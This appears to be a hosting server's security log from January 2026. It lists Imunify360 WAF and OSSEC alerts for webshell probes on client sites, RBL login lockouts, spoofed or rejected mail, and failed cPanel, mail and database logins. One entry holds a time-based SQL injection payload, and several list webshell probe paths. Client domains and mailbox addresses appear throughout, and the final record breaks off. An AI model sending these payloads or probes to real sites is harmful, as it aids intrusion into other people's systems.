name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:58:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:59:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-27 19:59:44 H=([102.254.0.12]) [102.253.0.7]:6341 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@oxbold.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 19:59:27 H=([45.144.212.242]) [45.144.212.242]:59604 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:01:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/lib/jquery.mousewheel-3.0.6.pack.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_SemiBold/stylesheet.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/main.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/jquery.min.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/navigation.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/assets/popup.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_RunActiveContent.js HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/glowbutton.css HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.css?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-thumbs.css?v=1.0.7 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/OpenSans-Light.ttf HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.61.121.239
country_id: 587116
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/private-pilot-license-malaysia.htm HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/jquery.fancybox.js?v=2.1.3 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:04:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:05:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 20:06:21 H=([104.37.174.67]) [104.37.174.67]:59735 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <roz@af-sb.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:07:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:09:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.202
country_id: 3175395
description:
Jan 27 20:09:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.202
country_id: 3175395
description:
Jan 27 20:10:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:10:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.42
country_id: 6252001
description:
2026-01-27 20:11:51 831169 [Warning] Aborted connection 831169 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.42' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:12:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.11.109
country_id: 1814991
description:
2026-01-27 20:14:46 H=(localhost.localdomain) [122.114.11.109]:45104 F=<s1132148@srvape.com> rejected RCPT <info@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:15:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77556974
name: IM360 WAF: The Double-Nested Malicious Referrer
abuser: 45.148.8.16
country_id: 798549
domain: visoft.com.my
description:
IM360 WAF: The Double-Nested Malicious Referrer||MV:if(now()=sysdate(),sleep(15),0)||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:16:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.251
country_id: 2510769
description:
Jan 27 20:17:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:18:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.134.19
country_id: 3469034
description:
Jan 27 20:18:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.134.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 20:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63423: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 20:20:26 H=([104.37.174.67]) [104.37.174.67]:61400 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <sales@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:20:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 27 20:21:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:21:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.221
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-21.92.71.74.221||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.94
country_id: 99237
description:
Jan 27 20:22:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.94 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.199.90.120
country_id: 6252001
description:
2026-01-27 20:23:23 831573 [Warning] Aborted connection 831573 to db: 'unconnected' user: 'unauthenticated' host: '198.199.90.120' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.223.169.9
country_id: 6252001
description:
2026-01-27 20:23:24 831574 [Warning] Aborted connection 831574 to db: 'unconnected' user: 'unauthenticated' host: '159.223.169.9' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:23:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.221
country_id: 1269750
description:
Jan 27 20:25:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jan 27 20:25:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.237
country_id: 3469034
description:
Jan 27 20:25:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.201
country_id: 3865483
description:
Jan 27 20:25:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.37
country_id: 798544
description:
Jan 27 20:25:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.145.43.131
country_id: 2510769
description:
Jan 27 20:26:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.145.43.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.59
country_id: 3469034
description:
Jan 27 20:26:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.42
country_id: 3175395
description:
Jan 27 20:26:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.37
country_id: 798544
description:
Jan 27 20:26:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jan 27 20:26:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.237
country_id: 3469034
description:
Jan 27 20:26:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.201
country_id: 3865483
description:
Jan 27 20:26:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:26:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.221
country_id: 1269750
description:
Jan 27 20:26:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.155
country_id: 3175395
description:
Jan 27 20:26:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.206
country_id: 6290252
description:
Jan 27 20:26:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:27:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 20:29:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.37.145
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/KernelTest.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.37
country_id: 3175395
description:
Jan 27 20:35:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.38
country_id: 798544
description:
Jan 27 20:35:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.37
country_id: 933860
description:
Jan 27 20:37:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.162.71.212
country_id: 6252001
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/g4.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.38
country_id: 798544
description:
Jan 27 20:36:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.37
country_id: 933860
description:
Jan 27 20:37:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.79
country_id: 2395170
description:
Jan 27 20:37:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/photos/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/img/druma_photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.212.194.62
country_id: 3017382
description:
[2026-01-27 20:41:20 +0800] info [cpaneld] 173.212.194.62 - thinkclo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user thinkclo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.10.70.186
country_id: 6252001
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.my/100-days-fast-to-feast-in-his-presence/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/img/press.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:47:46 832353 [Warning] Aborted connection 832353 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:49:26 832470 [Warning] Aborted connection 832470 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.194.233.182
country_id: 1880251
description:
2026-01-27 20:51:50 832544 [Warning] Aborted connection 832544 to db: 'unconnected' user: 'unauthenticated' host: '118.194.233.182' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.16.228.8
country_id: 1605651
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/General/Cash and Carry-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.16.228.8
country_id: 1605651
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/General/Cash and Carry-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.94.76.134
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.228
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 223.205.191.17
country_id: 1605651
description:
2026-01-27 20:58:07 832704 [Warning] Aborted connection 832704 to db: 'unconnected' user: 'unauthenticated' host: '223.205.191.17' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.218
country_id: 3469034
description:
Jan 27 21:03:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.218
country_id: 3469034
description:
Jan 27 21:04:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.61.36.98
country_id: 2300660
description:
Jan 27 21:06:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.61.36.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.61.36.98
country_id: 2300660
description:
2026-01-27 21:06:07 dovecot_plain authenticator failed for H=(648A5DR0V5VM) [196.61.36.98]:54655: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.197.15
country_id: 3865483
description:
Jan 27 21:09:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.197.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.221.77.179
country_id: 1269750
